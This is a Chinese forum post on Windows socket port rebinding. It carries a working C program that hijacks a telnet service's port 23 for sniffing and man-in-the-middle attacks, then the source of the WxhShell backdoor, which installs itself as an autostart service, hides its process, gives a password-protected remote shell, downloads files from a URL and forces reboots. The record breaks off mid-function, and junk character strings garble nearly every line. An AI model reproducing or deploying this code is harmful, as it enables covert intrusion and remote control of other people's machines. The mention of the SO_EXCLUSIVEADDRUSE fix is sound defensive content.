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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q?T+^J   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h-"q <eY"  
c;/vzIJj  
  saddr.sin_family = AF_INET; VF11eZ"  
4Ia'Yr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,<+:xl   
} l+_KA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %S"z9@  
BZhf/{h[@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 clyp0`,7  
,7cw%mQA  
  这意味着什么?意味着可以进行如下的攻击: lIEZ=CEmY  
msCz\8Xd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 * G*VY#L  
$-]G6r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [4C_iaE  
hd9~Zw]V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 72RTEGy  
 nm`( ;<W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wQ+i l6  
837:;<T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7;@YR  
Q)4[zStR#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GIYdI#0RC  
!wE% <Fh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5l@} 1n  
[u*7( 4e  
  #include zqU$V~5;rG  
  #include }\H. G  
  #include jtfC3E,U  
  #include    ^m D$#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FZU1WBNL%t  
  int main() KXx;~HtO  
  { uL7}JQ,  
  WORD wVersionRequested; gA_oJW4_  
  DWORD ret; -">Tvi4  
  WSADATA wsaData; n%\\1  
  BOOL val; K!(WcoA&2i  
  SOCKADDR_IN saddr; Fv,c8f  
  SOCKADDR_IN scaddr; E$8-8[  
  int err; +W1l9n*  
  SOCKET s; dk1q9Tx  
  SOCKET sc; d< XY"Y%  
  int caddsize; WxD$k3U  
  HANDLE mt; `0W"[BY  
  DWORD tid;   ER-Xd9R  
  wVersionRequested = MAKEWORD( 2, 2 ); ":T"Y;  
  err = WSAStartup( wVersionRequested, &wsaData ); i@P= *lLD  
  if ( err != 0 ) { "Ltp]nCR  
  printf("error!WSAStartup failed!\n"); &<#1G u_  
  return -1; $l.8  
  } ;W+1 H !  
  saddr.sin_family = AF_INET; $A74V [1^  
   kz1Z K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qooTRqc#,  
n&]J-^Tx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z>w@3$\z  
  saddr.sin_port = htons(23); :-+][ [  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hC{2LLu;n  
  { q4@+Pi)  
  printf("error!socket failed!\n"); f]2gjQHM  
  return -1; MwD+'5   
  } &{WEtaXaa  
  val = TRUE; 7 v3%dCvf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 liB~vdqj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^cW{%R>XY  
  { .'+JA:3R  
  printf("error!setsockopt failed!\n"); b)XGr?  
  return -1; |1!|SarM{B  
  } p+Bvfn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tIBEja^l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  ;1,#rTs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZFX}=?+  
: +^`VLIf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WH $*\IGJL  
  { 26zif  
  ret=GetLastError(); uGlz|C  
  printf("error!bind failed!\n"); ,-$%>Uv   
  return -1; NJ}x qg  
  } <;b  
  listen(s,2); 7~MWp4.   
  while(1) kz#x6NXj  
  { e6gj'GmY  
  caddsize = sizeof(scaddr); ;SA+| ,  
  //接受连接请求 $1Z3yb^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '@hnqcqXq  
  if(sc!=INVALID_SOCKET) A-\n"}4  
  { y fS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [sPLu)q2  
  if(mt==NULL) 75Bn p9  
  { Oh`Pf;.z%  
  printf("Thread Creat Failed!\n"); )d {8Cu6  
  break; Y'6P ~C;v  
  } 1U~'8=-   
  } hoPh#? G  
  CloseHandle(mt); .b*-GWx  
  } 0B`rTLwB  
  closesocket(s); _#P5j#  
  WSACleanup(); aC'#H8e|j  
  return 0; CS"k0V44}  
  }   .d)H2X  
  DWORD WINAPI ClientThread(LPVOID lpParam) wE <PXBl\b  
  { M@.?l=1X  
  SOCKET ss = (SOCKET)lpParam; qP%[ nY  
  SOCKET sc; T5-'|+  
  unsigned char buf[4096]; |>I4(''}  
  SOCKADDR_IN saddr; %s%e5hU  
  long num; QmPHf*w[  
  DWORD val; 5FNf)F   
  DWORD ret; p_3VFKq>0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5bK:sht  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zq}Cl'f  
  saddr.sin_family = AF_INET; sD XJXJZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X.)1>zk  
  saddr.sin_port = htons(23); #>$w9}gFi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) | qf8y  
  { vs.}Bou]  
  printf("error!socket failed!\n"); LrV4^{9(  
  return -1; q p1rP#  
  } FRE${~Xd  
  val = 100; ?=Z0N&}[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H&ZsMML/%  
  { N;,N6&veK/  
  ret = GetLastError(); 6 ^p>f:5  
  return -1; v".u#G'u  
  } ##NowO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @)@hzXQ  
  { 5Ul=Nv]  
  ret = GetLastError(); 9c@\-Z'  
  return -1; f9E.X\"  
  } bzMs\rj\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MdNV3:[\  
  { oxqD/fY  
  printf("error!socket connect failed!\n"); V :4($  
  closesocket(sc); 5HbPS%^.  
  closesocket(ss); Vuo 8[h>  
  return -1; n)teX.ck)  
  } A832z`  
  while(1) K* 0]*am|v  
  { o{QPW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !}uev  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;,_c1x/F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J 9k~cz  
  num = recv(ss,buf,4096,0); ! XNTk]!  
  if(num>0) 9o5_QnGE  
  send(sc,buf,num,0); le`_    
  else if(num==0) gI~jf- w  
  break; p>]2o\["  
  num = recv(sc,buf,4096,0); &5wM`  
  if(num>0) R_DZJV O  
  send(ss,buf,num,0); oG;;='*  
  else if(num==0) V$ss[fX  
  break; ut^^,w{o>  
  } ViT$]Nv  
  closesocket(ss); VlFDMw.4.+  
  closesocket(sc); QI2T G,  
  return 0 ; Bx&wS|-)D  
  } D3%`vq u&  
vo DTU]pf  
'roZ:NE  
========================================================== E :Y *;  
76*5/J-  
下边附上一个代码,,WXhSHELL ~v<,6BS<$Z  
u kKp,1xz  
========================================================== ^t\AB)(8  
rRZ ,X%  
#include "stdafx.h" sh"\ kk9  
7e-l`]  
#include <stdio.h> KuO5`  
#include <string.h> mM7S9^<UH  
#include <windows.h> !M&B=vk4  
#include <winsock2.h> FVcoo V  
#include <winsvc.h> 3$`qy|=zO  
#include <urlmon.h> Ot} E  
A5ps|zidI  
#pragma comment (lib, "Ws2_32.lib") &Qdd\h#  
#pragma comment (lib, "urlmon.lib") AiO29<  
0TI+6u  
#define MAX_USER   100 // 最大客户端连接数 "i1~YE  
#define BUF_SOCK   200 // sock buffer >m{)shBX  
#define KEY_BUFF   255 // 输入 buffer  HRKe 7#e  
~?{"H<  
#define REBOOT     0   // 重启 B/CP/Pfb  
#define SHUTDOWN   1   // 关机 "8 "7AoE  
pJ#R :#P  
#define DEF_PORT   5000 // 监听端口 |f0KIb}d  
q|%(47}z  
#define REG_LEN     16   // 注册表键长度 ^\<1Y''  
#define SVC_LEN     80   // NT服务名长度 xe6 2gaT  
n300kpv  
// 从dll定义API nNFZ77lg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =kvYE,,g_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WVf>>E^1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~l@SGHx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cwxO| .m  
G =+sW  
// wxhshell配置信息 3RP}lb  
struct WSCFG { %G$KahxV>  
  int ws_port;         // 监听端口 vF=d`T<  
  char ws_passstr[REG_LEN]; // 口令 NY ZPh%x  
  int ws_autoins;       // 安装标记, 1=yes 0=no 89'XOXl&1  
  char ws_regname[REG_LEN]; // 注册表键名 Z\y@rp\l  
  char ws_svcname[REG_LEN]; // 服务名 eID"&SSU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HBL)_c{/O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )nS;]7pB@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d\V\,% &.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PU^Z7T);  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BS#@ehdig  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f,Sybf/uHh  
U:E:"  
}; &k?Mt #J  
<c{RY.1[  
// default Wxhshell configuration -_ [Z5%B  
struct WSCFG wscfg={DEF_PORT, KutR l$,  
    "xuhuanlingzhe", ;Q2p~-0Q  
    1,  wYS,|=y  
    "Wxhshell", $IQ  !g  
    "Wxhshell", dHnId2@#  
            "WxhShell Service", &Fl^&&1C  
    "Wrsky Windows CmdShell Service", @W^A%6"j  
    "Please Input Your Password: ", Ng,#d`Br  
  1, %97IXrE  
  "http://www.wrsky.com/wxhshell.exe", TUiXE~8=  
  "Wxhshell.exe" :(Feg2c  
    }; t  HPC  
g4I&3 M  
// 消息定义模块 c;ELAns>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >b0e"eGt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^6ZA2-f/<8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v>$GVCY  
char *msg_ws_ext="\n\rExit."; EpCUL@+  
char *msg_ws_end="\n\rQuit."; Mnaoh:z  
char *msg_ws_boot="\n\rReboot..."; 81/Bn!  
char *msg_ws_poff="\n\rShutdown..."; quU%9m \S`  
char *msg_ws_down="\n\rSave to "; F#Oqa^$(  
E q.?Ga  
char *msg_ws_err="\n\rErr!"; (CH F=g  
char *msg_ws_ok="\n\rOK!"; ;{ Y|n_  
b'^ -$  
char ExeFile[MAX_PATH]; UPPDs"  
int nUser = 0; y2^r.6"O  
HANDLE handles[MAX_USER]; Sj}@5 X6 C  
int OsIsNt; y^:g"|q  
>'8.>f  
SERVICE_STATUS       serviceStatus; 1DGVAIcD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~/h P6*  
-X Bh\w  
// 函数声明 1z$;>+g<  
int Install(void); >0SF79-RE  
int Uninstall(void); w'.ny<Pe  
int DownloadFile(char *sURL, SOCKET wsh); Vl?R?K=`~J  
int Boot(int flag); OlFls 8#>  
void HideProc(void); kN;l@>  
int GetOsVer(void); *Rj>// A  
int Wxhshell(SOCKET wsl); (9$/r/-a  
void TalkWithClient(void *cs); #Qy*zU#9  
int CmdShell(SOCKET sock); >\$qF  
int StartFromService(void); JB'q_dS}  
int StartWxhshell(LPSTR lpCmdLine); r%$-F2.p  
>)U 7$<&b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v/Z}|dT"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NwuME/C7#  
~c`@uGw  
// 数据结构和表定义 6,0pkx&Nv  
SERVICE_TABLE_ENTRY DispatchTable[] = ."PR Z,  
{ ;vF8V`f   
{wscfg.ws_svcname, NTServiceMain}, "a6 wd  
{NULL, NULL} }O@S ;[v S  
}; wr8n*Du  
%dS7u$Rnh  
// 自我安装 ZqkP# ]+Y'  
int Install(void) JQE^ bcr  
{ .7Ys@;>B  
  char svExeFile[MAX_PATH]; o'%F*>#v  
  HKEY key; C&3#'/&  
  strcpy(svExeFile,ExeFile); #* S0d1  
or ~o'  
// 如果是win9x系统,修改注册表设为自启动 B.K"1o  
if(!OsIsNt) { qw0tw2|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z(>{"t<C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #v')iR"  
  RegCloseKey(key); X c,UR .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Q4w<sX'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ||}|=Sz  
  RegCloseKey(key); <Ky\ ^  
  return 0; 1?)<*[  
    } I1&Z@[  
  } <k5FlvE2  
} McxJ C<  
else { _W]2~9  
.?_wcp=  
// 如果是NT以上系统,安装为系统服务 \%E Zg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :4<+)r26  
if (schSCManager!=0) s>"=6gb  
{ (Y'rEc#H&z  
  SC_HANDLE schService = CreateService ph30/*8  
  ( l`gRw4 /$  
  schSCManager, #'^p-Jdm  
  wscfg.ws_svcname, IL}pVa00{n  
  wscfg.ws_svcdisp, /,/T{V[  
  SERVICE_ALL_ACCESS, A`=ESz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 27E6S)zv  
  SERVICE_AUTO_START, +fAAkO*GP  
  SERVICE_ERROR_NORMAL, . %tc7`k8  
  svExeFile, u-pE ;|  
  NULL, C\.?3  
  NULL, ?;|$R   
  NULL, 5gGYG]*l  
  NULL, v.cB3/$ z  
  NULL Nb#E +\q  
  ); &.=d,XKN  
  if (schService!=0) U-3KuR+0  
  { &EXql']  
  CloseServiceHandle(schService); .pi#Z /v  
  CloseServiceHandle(schSCManager); ;#3!ZB:}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fbwo2qe@K  
  strcat(svExeFile,wscfg.ws_svcname); 6}x^ T)R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M$%aX,nk'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vjZX8KAiZ  
  RegCloseKey(key); EiP_V&\  
  return 0; b\][ x6zJp  
    } _7]5 Q  
  } <3 AkF# C9  
  CloseServiceHandle(schSCManager); idPkJf/  
} cpFw]w%]  
} kdQ=%  
- CT?JB  
return 1; o,D>7|h  
} ?_m;~>C  
0OEyJ|g  
// 自我卸载 =^q:h<  
int Uninstall(void) O<iE,PN)  
{ r&1N8o  
  HKEY key; [ #A!B#`  
6N~~:Gt  
if(!OsIsNt) { YANg2L>MK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x nWapG  
  RegDeleteValue(key,wscfg.ws_regname); /qo.Z  
  RegCloseKey(key); /_x?PiL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <R*.T)Z1  
  RegDeleteValue(key,wscfg.ws_regname); ~Rk6@&ZS}  
  RegCloseKey(key); HHWB_QaL  
  return 0; #?!)-Q%  
  } n|SsV  
} @w,-T@nAW  
} vsqfvx  
else { "]*0)h_  
( y2%G=.j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `"zX<  
if (schSCManager!=0) XdLB1H  
{ b,KQG|k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZaH<\`=%  
  if (schService!=0) ut& RKr3  
  {  7I^(v Q  
  if(DeleteService(schService)!=0) { G5"UhnOD'  
  CloseServiceHandle(schService); e]uk}#4  
  CloseServiceHandle(schSCManager); U,[vfSDGr  
  return 0; rbO9NRg>  
  } 9"=:\PE  
  CloseServiceHandle(schService); 46Nl];g1`  
  } , YTuZS  
  CloseServiceHandle(schSCManager); `Kpn@Xg  
} Sw%=/g  
} SL pd~ZC?  
Z7K ;~*  
return 1; vs7Hg )F  
} <3O>  
mJ#u]tiL  
// 从指定url下载文件 4 FGcCE3  
int DownloadFile(char *sURL, SOCKET wsh) k/j]*~"  
{ r<UZ\d -  
  HRESULT hr; Xv]O1fcI  
char seps[]= "/"; fk#SD "iJ  
char *token; 2o6KVQ  
char *file; ^Ml)g=Fq  
char myURL[MAX_PATH]; ;5PXPpJ  
char myFILE[MAX_PATH]; tP"C >#LO  
zK k;&y|{  
strcpy(myURL,sURL); k~`pV/6  
  token=strtok(myURL,seps); `L]cJ0tAs  
  while(token!=NULL) rzLpVpTaz  
  { Cbx/  
    file=token; *S:^3{.m=  
  token=strtok(NULL,seps); ;pBSGr 9  
  } ,kpk XK  
,l&Dt,  
GetCurrentDirectory(MAX_PATH,myFILE); yJppPIW^  
strcat(myFILE, "\\"); dE.R$SM  
strcat(myFILE, file); flVQG@  
  send(wsh,myFILE,strlen(myFILE),0); p#qQGJe  
send(wsh,"...",3,0); 9Fv1D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XBF#ILJ  
  if(hr==S_OK) owmV7E1  
return 0; |@sUN:G4k  
else CS:j->  
return 1; L'H'E,  
52C>f6w  
} `rbTB3?  
C6M|A3^T  
// 系统电源模块 crz )F"  
int Boot(int flag) i"0^Gr  
{ % E3  
  HANDLE hToken; (Z,v)TOXjV  
  TOKEN_PRIVILEGES tkp; t*NZ@)>  
w;&J._J  
  if(OsIsNt) { GXYmJ4wR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5T:e4U&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HIk5Q'ek  
    tkp.PrivilegeCount = 1; ymrmvuh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #:3ca] k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =A$5~op%  
if(flag==REBOOT) { /v U$62KA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]- ")r  
  return 0; !)?n n3  
} !0zbWB9  
else { GXr9J rs.e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K#%L6=t$<  
  return 0; :p;!\4)u  
} Ew*_@hVC  
  } Oq7M1|{  
  else { "4<RMYQ  
if(flag==REBOOT) { Qo4]_,kR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) po4seW!  
  return 0; Yev] Lp  
} 4`I2tr  
else { FDbb/6ku  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |cEJRs@B  
  return 0; AA6_D?)vv  
} Y}&//S A  
} aqQ YU5l4~  
6y)TXp  
return 1; f7Y0L8D  
} ZgP=maQk  
s )POtJ<  
// win9x进程隐藏模块 + 0{m(%i  
void HideProc(void) Qj.]I0d  
{ MRR5j;4GK  
$]2srRA^A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jV2L;APCq  
  if ( hKernel != NULL ) $A;jl`ng  
  { UOJx-o!c?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n sKl3}uU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $sTbFY  
    FreeLibrary(hKernel); ~Z9Eb|B  
  } lr'h  
!8lG"l|,l  
return; cfBq/2I  
} AyKvh  
0"ksNnxK  
// 获取操作系统版本 )r3}9J  
int GetOsVer(void) :hJHjh  
{ n+QUT   
  OSVERSIONINFO winfo; Ebw1 %W KC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $N'AZY]4]  
  GetVersionEx(&winfo); ]-QY, k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,pM~Phmp  
  return 1;  J -tOO  
  else 7I;xRo|  
  return 0; NRN3*YGo  
} S96H`kedZo  
mFfw*,M  
// 客户端句柄模块 N[~{'i  
int Wxhshell(SOCKET wsl) Xb?:dlu3  
{ tS!Fn Qg4  
  SOCKET wsh; Veo*-sl  
  struct sockaddr_in client; _0N=~`'  
  DWORD myID; I@Pp[AyG  
-sO[,  
  while(nUser<MAX_USER) ZG[P?fM  
{ @ x_.  
  int nSize=sizeof(client); 3#N'nhUzA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1/X@~  
  if(wsh==INVALID_SOCKET) return 1; r<VZE bm)  
kW#,o9f\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #hG0{_d7  
if(handles[nUser]==0) C))5,aX  
  closesocket(wsh); `B6*wE-|  
else 7ss Y*1b  
  nUser++; YXz*B5R  
  } K.)ionb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uu ahR  
jr[(g:L   
  return 0; )[fjZG[  
} Z6s-n$dSm  
w0qrh\3du  
// 关闭 socket KZy2c6XO;  
void CloseIt(SOCKET wsh) ~puXZCatN  
{ b3R1L|@  
closesocket(wsh); I><B6pIR  
nUser--; G"k.sRKu  
ExitThread(0); ha[c<e]uo[  
} qE B3Y54+  
sZe$?k|  
// 客户端请求句柄 DrI"YX  
void TalkWithClient(void *cs) nhV\<  
{ #&zM.O1Q  
Yc~(W ue  
  SOCKET wsh=(SOCKET)cs; tfB}U.  
  char pwd[SVC_LEN]; .#^ta9^t7  
  char cmd[KEY_BUFF]; mm}y/dO~}  
char chr[1]; Y-2IAJHS8  
int i,j; 0lpkG ="&r  
NSe H u k  
  while (nUser < MAX_USER) { mj{B_3b5  
mJ+M|#Ox  
if(wscfg.ws_passstr) { #1Zqq([@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T_t5Tg~i[N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aQ!QrTua-  
  //ZeroMemory(pwd,KEY_BUFF); 7LEB ,bU  
      i=0; J)7\k$D  
  while(i<SVC_LEN) { MoAie|MKe  
jr/  
  // 设置超时 #(@!:f1  
  fd_set FdRead; G47(LE"2b  
  struct timeval TimeOut; $Lj~ge3#  
  FD_ZERO(&FdRead); >+ ,w2m@0  
  FD_SET(wsh,&FdRead); uqz HS>GM  
  TimeOut.tv_sec=8; rU6F$I=  
  TimeOut.tv_usec=0; C@x\ZG5rA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `wI$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jej.!f:H  
~[8n+p+&X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rR Kbs@1M  
  pwd=chr[0]; CzMCd ~*7R  
  if(chr[0]==0xd || chr[0]==0xa) { 0gRj3al(  
  pwd=0; 8Z&M}Llk  
  break; :1 *q}R   
  } vEy0DHEE  
  i++; sNa Lz  
    } ^aG$9N<\  
} 6 ,m2u  
  // 如果是非法用户,关闭 socket n[S-bzU^t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \;XDPC j  
} ./ ]xn  
Q};n%&n&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fe!eZiE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '/OcJVSR  
@h&:xA56  
while(1) { epicY  
}b5omHUE%  
  ZeroMemory(cmd,KEY_BUFF); y^!>'cdV  
YD3jP}Ym  
      // 自动支持客户端 telnet标准   QhhL_vP  
  j=0; GB%kxtGD;\  
  while(j<KEY_BUFF) { ,NO2{Ha$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n;@.eC,T/  
  cmd[j]=chr[0]; oACbZ#/@n  
  if(chr[0]==0xa || chr[0]==0xd) { 6|mHu2qXm  
  cmd[j]=0; !hs33@*u~  
  break; 2jf73$F  
  } L< XAvg  
  j++; ?^whK<"]  
    } o3"Nxq"U  
( ]E0fjk  
  // 下载文件 ]OSq}ul  
  if(strstr(cmd,"http://")) { >jU25"XI[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0g 2?  
  if(DownloadFile(cmd,wsh)) Iuyq!R4:7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZUyS+60  
  else z*a-=w0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z @g%9 |U  
  } &k@\k<2Ia  
  else { 3"BSP3/ [l  
~'V&[]nh8  
    switch(cmd[0]) { 0 k.\o"y  
  >D jJ*vM  
  // 帮助 E2xK GK   
  case '?': { PglSQ2P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <4LW.q  
    break; $:?Dyu(Il  
  } rp '^]Zx  
  // 安装 )3IUKz%\6p  
  case 'i': { ,i jB3J  
    if(Install()) }qw->+nD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A"B#t"  
    else l4gF.-.GYF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4#Xz-5v  
    break; J$W4AT  
    } T@Bu Fr`]<  
  // 卸载 _Sg"|g  
  case 'r': { gSa!zQN6  
    if(Uninstall()) {/FdrS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D6dliU?k  
    else Kv9$c(~#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3PjX;U|  
    break; "{S6iH)]8  
    } \#h{bnx  
  // 显示 wxhshell 所在路径 s TVX/Q  
  case 'p': { ew \WV "  
    char svExeFile[MAX_PATH]; qeW.~B!B  
    strcpy(svExeFile,"\n\r"); ]xkh"j+W  
      strcat(svExeFile,ExeFile); Pn,>eD*g  
        send(wsh,svExeFile,strlen(svExeFile),0); {Rdh4ZKh  
    break; =@nE:uto]  
    } 5DpvMhc_  
  // 重启 !kG|BJ$j  
  case 'b': { 4@+']vN4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v.&c1hKHb  
    if(Boot(REBOOT)) dB)-qL8,2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K HQ0  
    else { \@Gcx}Y8h  
    closesocket(wsh); MK-+[K  
    ExitThread(0); !|W.YbS  
    } eslvg#Q  
    break;  _!_^B  
    } 'yosDT2{#  
  // 关机 Hd\. ,2a"  
  case 'd': { C2aA])7 D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); **\?-*c=U  
    if(Boot(SHUTDOWN)) p+pu_T;~  
